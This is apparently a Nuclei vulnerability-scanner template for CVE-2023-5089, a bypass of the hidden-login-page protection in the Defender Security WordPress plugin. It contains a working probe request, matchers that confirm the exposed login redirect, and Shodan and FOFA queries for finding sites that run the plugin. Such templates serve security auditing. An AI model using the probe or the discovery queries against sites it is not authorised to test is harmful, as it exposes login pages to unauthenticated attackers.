Defender Security < 4.1.0 - Protection Bypass (Hidden Login Page)

id: CVE-2023-5089

info:
  name: Defender Security < 4.1.0 - Protection Bypass (Hidden Login Page)
  author: jpg0mez
  severity: medium
  description: |
    The Defender Security WordPress plugin before 4.1.0 does not prevent redirects to the login page via the auth_redirect WordPress function, allowing an unauthenticated visitor to access the login page, even when the hide login page functionality of the plugin is enabled.
  impact: |
    Unauthenticated attackers can bypass hidden login page protection through auth_redirect WordPress function to access the login page despite protection mechanisms.
  remediation: Fixed in 4.1.0
  reference:
    - https://www.sprocketsecurity.com/resources/discovering-wp-admin-urls-in-wordpress-with-gravityforms
    - https://wpscan.com/vulnerability/2b547488-187b-44bc-a57d-f876a7d4c87d/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-5089
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-5089
    epss-score: 0.02473
    epss-percentile: 0.8466
    cpe: cpe:2.3:a:wpmudev:defender_security:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpmudev
    product: defender_security
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/defender-security/
    fofa-query: body=/wp-content/plugins/defender-security/
    publicwww-query: "/wp-content/plugins/defender-security/"
  tags: cve,cve2023,wordpress,wpscan,wp-plugin,defender-security,redirect,wpmudev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?gf_page=randomstring"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "!contains(tolower(location), 'wp-login.php')"

      - type: word
        part: header
        words:
          - '%2F%3Fgf_page%3Drandomstring&reauth=1'

    extractors:
      - type: kval
        kval:
          - location